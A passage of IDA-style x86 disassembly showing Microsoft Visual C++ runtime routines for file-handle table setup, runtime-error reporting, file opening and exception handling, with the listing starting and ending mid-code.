mov eax, edi
jz short loc_4232CD
loc_4232C3: ; CODE XREF: ___:004232C6j
; ___:004232CBj
inc eax
cmp [eax], bl
jnz short loc_4232C3
inc eax
cmp [eax], bl
jnz short loc_4232C3
loc_4232CD: ; CODE XREF: ___:004232C1j
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4232E3
xor esi, esi
jmp short loc_4232EE
; ---------------------------------------------------------------------------
loc_4232E3: ; CODE XREF: ___:004232DDj
push ebp
push edi
push esi
call sub_41C310
add esp, 0Ch
loc_4232EE: ; CODE XREF: ___:004232E1j
push edi
nop
call near ptr 27D0284h
mov eax, esi
jmp short loc_4232FB
; ---------------------------------------------------------------------------
loc_4232F9: ; CODE XREF: ___:00423209j
; ___:00423231j ...
xor eax, eax
loc_4232FB: ; CODE XREF: ___:004232A6j
; ___:004232F7j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_41B4D5
mov esi, eax
pop ecx
test esi, esi
jnz short loc_423322
push 1Bh
call sub_41DA29
pop ecx
loc_423322: ; CODE XREF: ___:00423318j
mov dword_4DCC80, esi
mov dword_4DCD80, 20h
lea eax, [esi+100h]
loc_423338: ; CODE XREF: ___:00423354j
cmp esi, eax
jnb short loc_423356
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, dword_4DCC80
add esi, 8
add eax, 100h
jmp short loc_423338
; ---------------------------------------------------------------------------
loc_423356: ; CODE XREF: ___:0042333Aj
lea eax, [esp+10h]
push eax
nop
call near ptr 2A40000h
cmp word ptr [esp+42h], 0
jz loc_423432
mov eax, [esp+44h]
test eax, eax
jz loc_423432
mov esi, [eax]
lea ebp, [eax+4]
mov eax, 800h
cmp esi, eax
lea ebx, [esi+ebp]
jl short loc_42338C
mov esi, eax
loc_42338C: ; CODE XREF: ___:00423388j
cmp dword_4DCD80, esi
jge short loc_4233E6
mov edi, offset dword_4DCC84
loc_423399: ; CODE XREF: ___:004233DCj
push 100h
call sub_41B4D5
test eax, eax
pop ecx
jz short loc_4233E0
add dword_4DCD80, 20h
mov [edi], eax
lea ecx, [eax+100h]
loc_4233B7: ; CODE XREF: ___:004233D1j
cmp eax, ecx
jnb short loc_4233D3
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
jmp short loc_4233B7
; ---------------------------------------------------------------------------
loc_4233D3: ; CODE XREF: ___:004233B9j
add edi, 4
cmp dword_4DCD80, esi
jl short loc_423399
jmp short loc_4233E6
; ---------------------------------------------------------------------------
loc_4233E0: ; CODE XREF: ___:004233A6j
mov esi, dword_4DCD80
loc_4233E6: ; CODE XREF: ___:00423392j
; ___:004233DEj
xor edi, edi
test esi, esi
jle short loc_423432
loc_4233EC: ; CODE XREF: ___:00423430j
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_423429
mov cl, [ebp+0]
test cl, 1
jz short loc_423429
test cl, 8
jnz short loc_42340B
push eax
nop
call near ptr 27C02EDh
test eax, eax
jz short loc_423429
loc_42340B: ; CODE XREF: ___:004233FEj
mov eax, edi
mov ecx, edi
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DCC80[eax*4]
lea eax, [eax+ecx*8]
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_423429: ; CODE XREF: ___:004233F1j
; ___:004233F9j ...
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_4233EC
loc_423432: ; CODE XREF: ___:00423367j
; ___:00423373j ...
xor ebx, ebx
loc_423434: ; CODE XREF: ___:00423497j
mov eax, dword_4DCC80
cmp dword ptr [eax+ebx*8], 0FFFFFFFFh
lea esi, [eax+ebx*8]
jnz short loc_42348F
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_42344F
push 0FFFFFFF6h
pop eax
jmp short loc_423459
; ---------------------------------------------------------------------------
loc_42344F: ; CODE XREF: ___:00423448j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_423459: ; CODE XREF: ___:0042344Dj
push eax
nop
call near ptr 27C0A2Ah
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_42347E
push edi
nop
call near ptr 27C02EDh
test eax, eax
jz short loc_42347E
and eax, 0FFh
mov [esi], edi
cmp eax, 2
jnz short loc_423484
loc_42347E: ; CODE XREF: ___:00423465j
; ___:00423470j
or byte ptr [esi+4], 40h
jmp short loc_423493
; ---------------------------------------------------------------------------
loc_423484: ; CODE XREF: ___:0042347Cj
cmp eax, 3
jnz short loc_423493
or byte ptr [esi+4], 8
jmp short loc_423493
; ---------------------------------------------------------------------------
loc_42348F: ; CODE XREF: ___:00423440j
or byte ptr [esi+4], 80h
loc_423493: ; CODE XREF: ___:00423482j
; ___:00423487j ...
inc ebx
cmp ebx, 3
jl short loc_423434
push dword_4DCD80
nop
call near ptr 27C0CC3h
pop edi
pop esi
pop ebp
pop ebx
add esp, 44h
retn
; ---------------------------------------------------------------------------
align 10h
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4234B8 proc near ; DATA XREF: sub_42205D+Ao
; sub_42218C+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_423558
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_4234EB: ; CODE XREF: sub_4234B8+90j
cmp esi, 0FFFFFFFFh
jz short loc_423551
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_42353F
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_42353F
js short loc_42354A
mov edi, [ebx+8]
push ebx
call sub_41CB74
; ---------------------------------------------------------------------------
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_41CBB6
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_41CC4A
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_42353F: ; CODE XREF: sub_4234B8+40j
; sub_4234B8+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_4234EB
; ---------------------------------------------------------------------------
loc_42354A: ; CODE XREF: sub_4234B8+54j
mov eax, 0
jmp short loc_42356D
; ---------------------------------------------------------------------------
loc_423551: ; CODE XREF: sub_4234B8+36j
mov eax, 1
jmp short loc_42356D
; ---------------------------------------------------------------------------
loc_423558: ; CODE XREF: sub_4234B8+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_41CBB6
add esp, 8
pop ebp
mov eax, 1
loc_42356D: ; CODE XREF: sub_4234B8+97j
; sub_4234B8+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4234B8 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_41CBB6
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_423590 proc near ; CODE XREF: sub_41DA29+9p
mov eax, dword_4DB9A0
cmp eax, 1
jz short loc_4235A7
test eax, eax
jnz short locret_4235C8
cmp dword_43A974, 1
jnz short locret_4235C8
loc_4235A7: ; CODE XREF: sub_423590+8j
push 0FCh
call sub_4235C9
mov eax, dword_4DBB0C
pop ecx
test eax, eax
jz short loc_4235BD
call eax
loc_4235BD: ; CODE XREF: sub_423590+29j
push 0FFh
call sub_4235C9
pop ecx
locret_4235C8: ; CODE XREF: sub_423590+Cj
; sub_423590+15j
retn
sub_423590 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4235C9 proc near ; CODE XREF: sub_41DA29+12p
; sub_423590+1Cp ...
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_43D008
loc_4235DC: ; CODE XREF: sub_4235C9+20j
cmp edx, [eax]
jz short loc_4235EB
add eax, 8
inc ecx
cmp eax, offset off_43D098
jl short loc_4235DC
loc_4235EB: ; CODE XREF: sub_4235C9+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword_43D008[esi]
jnz loc_423719
mov eax, dword_4DB9A0
cmp eax, 1
jz loc_4236F3
test eax, eax
jnz short loc_42361C
cmp dword_43A974, 1
jz loc_4236F3
loc_42361C: ; CODE XREF: sub_4235C9+44j
cmp edx, 0FCh
jz loc_423719
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
nop
call near ptr 2810000h
test eax, eax
jnz short loc_423653
lea eax, [ebp+var_1A4]
push offset aProgramNameUnk ; "<program name unknown>"
push eax
call sub_41BEB0
pop ecx
pop ecx
loc_423653: ; CODE XREF: sub_4235C9+75j
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_41AFE0
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_423696
lea eax, [ebp+var_1A4]
push eax
call sub_41AFE0
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_41B5F0
add esp, 10h
loc_423696: ; CODE XREF: sub_4235C9+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_41BEB0
lea eax, [ebp+var_A0]
push edi
push eax
call sub_41BEC0
lea eax, [ebp+var_A0]
push offset asc_427C10 ; "\n\n"
push eax
call sub_41BEC0
push off_43D00C[esi]
lea eax, [ebp+var_A0]
push eax
call sub_41BEC0
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_424D78
add esp, 2Ch
pop edi
jmp short loc_423719
; ---------------------------------------------------------------------------
loc_4236F3: ; CODE XREF: sub_4235C9+3Cj
; sub_4235C9+4Dj
lea eax, [ebp+arg_0]
lea esi, off_43D00C[esi]
push 0
push eax
push dword ptr [esi]
call sub_41AFE0
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
nop
call near ptr 27C0A2Ah
push eax
nop
call near ptr 28A0000h
loc_423719: ; CODE XREF: sub_4235C9+2Ej
; sub_4235C9+59j ...
pop esi
leave
retn
sub_4235C9 endp
; =============== S U B R O U T I N E =======================================
sub_42371C proc near ; CODE XREF: sub_423A33:loc_423BABp
push ebx
push esi
push edi
or ebx, 0FFFFFFFFh
xor edi, edi
xor esi, esi
mov ecx, offset dword_4DCC80
loc_42372B: ; CODE XREF: sub_42371C+48j
mov eax, [ecx]
test eax, eax
jz short loc_423768
lea edx, [eax+100h]
loc_423737: ; CODE XREF: sub_42371C+28j
cmp eax, edx
jnb short loc_423757
test byte ptr [eax+4], 1
jz short loc_423746
add eax, 8
jmp short loc_423737
; ---------------------------------------------------------------------------
loc_423746: ; CODE XREF: sub_42371C+23j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_4237AB
loc_423757: ; CODE XREF: sub_42371C+1Dj
add ecx, 4
inc edi
add esi, 20h
cmp ecx, offset dword_4DCD80
jl short loc_42372B
jmp short loc_4237AB
; ---------------------------------------------------------------------------
loc_423768: ; CODE XREF: sub_42371C+13j
mov esi, 100h
push esi
call sub_41B4D5
test eax, eax
pop ecx
jz short loc_4237AB
add dword_4DCD80, 20h
lea ecx, ds:4DCC80h[edi*4]
lea edx, [eax+100h]
mov [ecx], eax
loc_42378E: ; CODE XREF: sub_42371C+88j
cmp eax, edx
jnb short loc_4237A6
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, esi
jmp short loc_42378E
; ---------------------------------------------------------------------------
loc_4237A6: ; CODE XREF: sub_42371C+74j
shl edi, 5
mov ebx, edi
loc_4237AB: ; CODE XREF: sub_42371C+39j
; sub_42371C+4Aj ...
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_42371C endp
; =============== S U B R O U T I N E =======================================
sub_4237B1 proc near ; CODE XREF: sub_423A33+1F4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4DCD80
push edi
jnb short loc_423811
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DCC80h[ecx*4]
shl esi, 3
mov ecx, [edi]
cmp dword ptr [ecx+esi], 0FFFFFFFFh
jnz short loc_423811
cmp dword_43A974, 1
push ebx
mov ebx, [esp+0Ch+arg_4]
jnz short loc_423807
sub eax, 0
jz short loc_4237FE
dec eax
jz short loc_4237F9
dec eax
jnz short loc_423807
push ebx
push 0FFFFFFF4h
jmp short loc_423801
; ---------------------------------------------------------------------------
loc_4237F9: ; CODE XREF: sub_4237B1+3Ej
push ebx
push 0FFFFFFF5h
jmp short loc_423801
; ---------------------------------------------------------------------------
loc_4237FE: ; CODE XREF: sub_4237B1+3Bj
push ebx
push 0FFFFFFF6h
loc_423801: ; CODE XREF: sub_4237B1+46j
; sub_4237B1+4Bj
call near ptr 27C0000h
nop
loc_423807: ; CODE XREF: sub_4237B1+36j
; sub_4237B1+41j
mov eax, [edi]
mov [eax+esi], ebx
xor eax, eax
pop ebx
jmp short loc_423825
; ---------------------------------------------------------------------------
loc_423811: ; CODE XREF: sub_4237B1+Cj
; sub_4237B1+28j
and dword_4DB92C, 0
mov dword_4DB928, 9
or eax, 0FFFFFFFFh
loc_423825: ; CODE XREF: sub_4237B1+5Ej
pop edi
pop esi
retn
sub_4237B1 endp
; =============== S U B R O U T I N E =======================================
sub_423828 proc near ; CODE XREF: sub_41DA72+7Cp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
cmp ecx, dword_4DCD80
push edi
jnb short loc_42388B
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea edi, ds:4DCC80h[eax*4]
shl esi, 3
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_42388B
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_42388B
cmp dword_43A974, 1
jnz short loc_423881
xor eax, eax
sub ecx, eax
jz short loc_423878
dec ecx
jz short loc_423873
dec ecx
jnz short loc_423881
push eax
push 0FFFFFFF4h
jmp short loc_42387B
; ---------------------------------------------------------------------------
loc_423873: ; CODE XREF: sub_423828+41j
push eax
push 0FFFFFFF5h
jmp short loc_42387B
; ---------------------------------------------------------------------------
loc_423878: ; CODE XREF: sub_423828+3Ej
push eax
push 0FFFFFFF6h
loc_42387B: ; CODE XREF: sub_423828+49j
; sub_423828+4Ej
nop
call near ptr 27C0000h
loc_423881: ; CODE XREF: sub_423828+38j
; sub_423828+44j
mov eax, [edi]
or dword ptr [eax+esi], 0FFFFFFFFh
xor eax, eax
jmp short loc_42389F
; ---------------------------------------------------------------------------
loc_42388B: ; CODE XREF: sub_423828+Cj
; sub_423828+2Aj ...
and dword_4DB92C, 0
mov dword_4DB928, 9
or eax, 0FFFFFFFFh
loc_42389F: ; CODE XREF: sub_423828+61j
pop edi
pop esi
retn
sub_423828 endp
; =============== S U B R O U T I N E =======================================
sub_4238A2 proc near ; CODE XREF: sub_41DA72+32p
; sub_41DA72+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DCD80
jnb short loc_4238CA
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DCC80[ecx*4]
test byte ptr [ecx+eax*8+4], 1
lea eax, [ecx+eax*8]
jz short loc_4238CA
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_4238CA: ; CODE XREF: sub_4238A2+Aj
; sub_4238A2+23j
and dword_4DB92C, 0
mov dword_4DB928, 9
or eax, 0FFFFFFFFh
retn
sub_4238A2 endp
; =============== S U B R O U T I N E =======================================
sub_4238DF proc near ; CODE XREF: sub_41DB50+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DCD80
jnb short loc_423928
mov ecx, eax
mov edx, eax
sar ecx, 5
and edx, 1Fh
mov ecx, dword_4DCC80[ecx*4]
test byte ptr [ecx+edx*8+4], 1
jz short loc_423928
push eax
call sub_4238A2
pop ecx
push eax
call near ptr 27B084Fh
nop
test eax, eax
jnz short loc_42391D
call near ptr 2830047h
nop
jmp short loc_42391F
; ---------------------------------------------------------------------------
loc_42391D: ; CODE XREF: sub_4238DF+34j
xor eax, eax
loc_42391F: ; CODE XREF: sub_4238DF+3Cj
test eax, eax
jz short locret_423935
mov dword_4DB92C, eax
loc_423928: ; CODE XREF: sub_4238DF+Aj
; sub_4238DF+22j
mov dword_4DB928, 9
or eax, 0FFFFFFFFh
locret_423935: ; CODE XREF: sub_4238DF+42j
retn
sub_4238DF endp
; =============== S U B R O U T I N E =======================================
sub_423936 proc near ; DATA XREF: ___:00429024o
mov eax, dword_4DCC60
push esi
push 14h
test eax, eax
pop esi
jnz short loc_42394A
mov eax, 200h
jmp short loc_423950
; ---------------------------------------------------------------------------
loc_42394A: ; CODE XREF: sub_423936+Bj
cmp eax, esi
jge short loc_423955
mov eax, esi
loc_423950: ; CODE XREF: sub_423936+12j
mov dword_4DCC60, eax
loc_423955: ; CODE XREF: sub_423936+16j
push 4
push eax
call sub_424E01
pop ecx
mov dword_4DBC48, eax
test eax, eax
pop ecx
jnz short loc_423989
push 4
push esi
mov dword_4DCC60, esi
call sub_424E01
pop ecx
mov dword_4DBC48, eax
test eax, eax
pop ecx
jnz short loc_423989
push 1Ah
call sub_41DA29
pop ecx
loc_423989: ; CODE XREF: sub_423936+30j
; sub_423936+49j
xor ecx, ecx
mov eax, offset off_43D098
loc_423990: ; CODE XREF: sub_423936+6Ej
mov edx, dword_4DBC48
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset dword_43D318
jl short loc_423990
xor edx, edx
mov ecx, offset dword_43D0A8
loc_4239AD: ; CODE XREF: sub_423936+A1j
mov eax, edx
mov esi, edx
sar eax, 5
and esi, 1Fh
mov eax, dword_4DCC80[eax*4]
mov eax, [eax+esi*8]
cmp eax, 0FFFFFFFFh
jz short loc_4239CA
test eax, eax
jnz short loc_4239CD
loc_4239CA: ; CODE XREF: sub_423936+8Ej
or dword ptr [ecx], 0FFFFFFFFh
loc_4239CD: ; CODE XREF: sub_423936+92j
add ecx, 20h
inc edx
cmp ecx, offset dword_43D108
jl short loc_4239AD
pop esi
retn
sub_423936 endp
; =============== S U B R O U T I N E =======================================
sub_4239DB proc near ; DATA XREF: ___:00429034o
; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES
call sub_41DBE7
cmp byte_4DB968, 0
jz short locret_4239EE
jmp loc_424EB2
; ---------------------------------------------------------------------------
locret_4239EE: ; CODE XREF: sub_4239DB+Cj
retn
sub_4239DB endp
; =============== S U B R O U T I N E =======================================
sub_4239EF proc near ; CODE XREF: sub_41F043+32p
; sub_41F58A+6Cp ...
arg_0 = dword ptr 4
inc dword_4DBB10
push 1000h
call sub_41B4D5
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_423A18
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_423A29
; ---------------------------------------------------------------------------
loc_423A18: ; CODE XREF: sub_4239EF+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_423A29: ; CODE XREF: sub_4239EF+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_4239EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423A33 proc near ; CODE XREF: sub_41F32D+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_423A59
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_423A64
; ---------------------------------------------------------------------------
loc_423A59: ; CODE XREF: sub_423A33+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_423A64: ; CODE XREF: sub_423A33+24j
mov eax, 8000h
test ecx, eax
jnz short loc_423A7E
test ch, 40h
jnz short loc_423A7A
cmp dword_4DBC20, eax
jz short loc_423A7E
loc_423A7A: ; CODE XREF: sub_423A33+3Dj
or [ebp+var_1], 80h
loc_423A7E: ; CODE XREF: sub_423A33+38j
; sub_423A33+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_423AB6
dec eax
jz short loc_423AAD
dec eax
jz short loc_423AA4
loc_423A8F: ; CODE XREF: sub_423A33+9Fj
; sub_423A33+E8j ...
mov dword_4DB928, 16h
mov dword_4DB92C, ebx
jmp loc_423CC9
; ---------------------------------------------------------------------------
loc_423AA4: ; CODE XREF: sub_423A33+5Aj
mov [ebp+var_C], 0C0000000h
jmp short loc_423ABD
; ---------------------------------------------------------------------------
loc_423AAD: ; CODE XREF: sub_423A33+57j
mov [ebp+var_C], 40000000h
jmp short loc_423ABD
; ---------------------------------------------------------------------------
loc_423AB6: ; CODE XREF: sub_423A33+54j
mov [ebp+var_C], 80000000h
loc_423ABD: ; CODE XREF: sub_423A33+78j
; sub_423A33+81j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_423AEB
cmp eax, 20h
jz short loc_423AE2
cmp eax, 30h
jz short loc_423AD9
cmp eax, 40h
jnz short loc_423A8F
mov [ebp+var_10], esi
jmp short loc_423AEE
; ---------------------------------------------------------------------------
loc_423AD9: ; CODE XREF: sub_423A33+9Aj
mov [ebp+var_10], 2
jmp short loc_423AEE
; ---------------------------------------------------------------------------
loc_423AE2: ; CODE XREF: sub_423A33+95j
mov [ebp+var_10], 1
jmp short loc_423AEE
; ---------------------------------------------------------------------------
loc_423AEB: ; CODE XREF: sub_423A33+90j
mov [ebp+var_10], ebx
loc_423AEE: ; CODE XREF: sub_423A33+A4j
; sub_423A33+ADj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_423B38
jz short loc_423B33
cmp ecx, ebx
jz short loc_423B33
cmp ecx, edi
jz short loc_423B2A
cmp ecx, 200h
jz short loc_423B51
cmp ecx, 300h
jnz loc_423A8F
mov [ebp+var_8], 2
jmp short loc_423B61
; ---------------------------------------------------------------------------
loc_423B2A: ; CODE XREF: sub_423A33+D8j
mov [ebp+var_8], 4
jmp short loc_423B61
; ---------------------------------------------------------------------------
loc_423B33: ; CODE XREF: sub_423A33+D0j
; sub_423A33+D4j
mov [ebp+var_8], esi
jmp short loc_423B61
; ---------------------------------------------------------------------------
loc_423B38: ; CODE XREF: sub_423A33+CEj
cmp ecx, 500h
jz short loc_423B5A
cmp ecx, 600h
jz short loc_423B51
cmp ecx, edx
jz short loc_423B5A
jmp loc_423A8F
; ---------------------------------------------------------------------------
loc_423B51: ; CODE XREF: sub_423A33+E0j
; sub_423A33+113j
mov [ebp+var_8], 5
jmp short loc_423B61
; ---------------------------------------------------------------------------
loc_423B5A: ; CODE XREF: sub_423A33+10Bj
; sub_423A33+117j
mov [ebp+var_8], 1
loc_423B61: ; CODE XREF: sub_423A33+F5j
; sub_423A33+FEj ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_423B80
mov ecx, dword_4DB930
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_423B80
push 1
pop esi
loc_423B80: ; CODE XREF: sub_423A33+138j
; sub_423A33+148j
test al, 40h
jz short loc_423B8E
or esi, 4000000h
or byte ptr [ebp+var_C+2], 1
loc_423B8E: ; CODE XREF: sub_423A33+14Fj
test ah, 10h
jz short loc_423B95
or esi, edi
loc_423B95: ; CODE XREF: sub_423A33+15Ej
test al, 20h
jz short loc_423BA1
or esi, 8000000h
jmp short loc_423BAB
; ---------------------------------------------------------------------------
loc_423BA1: ; CODE XREF: sub_423A33+164j
test al, 10h
jz short loc_423BAB
or esi, 10000000h
loc_423BAB: ; CODE XREF: sub_423A33+16Cj
; sub_423A33+170j
call sub_42371C
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_423BCC
and dword_4DB92C, 0
mov dword_4DB928, 18h
jmp short loc_423C0A
; ---------------------------------------------------------------------------
loc_423BCC: ; CODE XREF: sub_423A33+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
nop
call near ptr 28B0703h
mov esi, eax
cmp esi, edi
jz short loc_423BFD
push esi
call near ptr 27C02EDh
nop
test eax, eax
jnz short loc_423C11
push esi
call near ptr 28005AFh
nop
loc_423BFD: ; CODE XREF: sub_423A33+1B6j
call near ptr 2830047h
nop
push eax
call sub_4203DF
pop ecx
loc_423C0A: ; CODE XREF: sub_423A33+197j
mov eax, edi
jmp loc_423CE7
; ---------------------------------------------------------------------------
loc_423C11: ; CODE XREF: sub_423A33+1C1j
cmp eax, 2
jnz short loc_423C1C
or [ebp+var_1], 40h
jmp short loc_423C25
; ---------------------------------------------------------------------------
loc_423C1C: ; CODE XREF: sub_423A33+1E1j
cmp eax, 3
jnz short loc_423C25
or [ebp+var_1], 8
loc_423C25: ; CODE XREF: sub_423A33+1E7j
; sub_423A33+1ECj
push esi
push ebx
call sub_4237B1
pop ecx
mov al, [ebp+var_1]
pop ecx
mov esi, ebx
mov ecx, ebx
or al, 1
sar ecx, 5
and esi, 1Fh
mov byte ptr [ebp+arg_0+3], al
lea edi, ds:4DCC80h[ecx*4]
shl esi, 3
mov ecx, [edi]
and byte ptr [ebp+arg_0+3], 48h
mov [ecx+esi+4], al
jnz short loc_423CCE
test al, 80h
jz short loc_423CCE
test byte ptr [ebp+arg_4], 2
jz short loc_423CCE
push 2
push 0FFFFFFFFh
push ebx
call sub_42272B
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_423C83
cmp dword_4DB92C, 83h
jz short loc_423CCE
jmp short loc_423CC2
; ---------------------------------------------------------------------------
loc_423C83: ; CODE XREF: sub_423A33+240j
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_41F11C
add esp, 0Ch
test eax, eax
jnz short loc_423CB0
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_423CB0
push [ebp+var_10]
push ebx
call sub_424F0A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_423CC2
loc_423CB0: ; CODE XREF: sub_423A33+265j
; sub_423A33+26Bj
push 0
push 0
push ebx
call sub_42272B
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_423CCE
loc_423CC2: ; CODE XREF: sub_423A33+24Ej
; sub_423A33+27Bj
push ebx
call sub_41DA72
pop ecx
loc_423CC9: ; CODE XREF: sub_423A33+6Cj
or eax, 0FFFFFFFFh
jmp short loc_423CE7
; ---------------------------------------------------------------------------
loc_423CCE: ; CODE XREF: sub_423A33+221j
; sub_423A33+225j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_423CE5
test byte ptr [ebp+arg_4], 8
jz short loc_423CE5
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_423CE5: ; CODE XREF: sub_423A33+29Fj
; sub_423A33+2A5j
mov eax, ebx
loc_423CE7: ; CODE XREF: sub_423A33+1D9j
; sub_423A33+299j
pop edi
pop esi
pop ebx
leave
retn
sub_423A33 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423CEC proc near ; CODE XREF: sub_41F515+5Ep
; sub_4200E8+9Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427C50
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
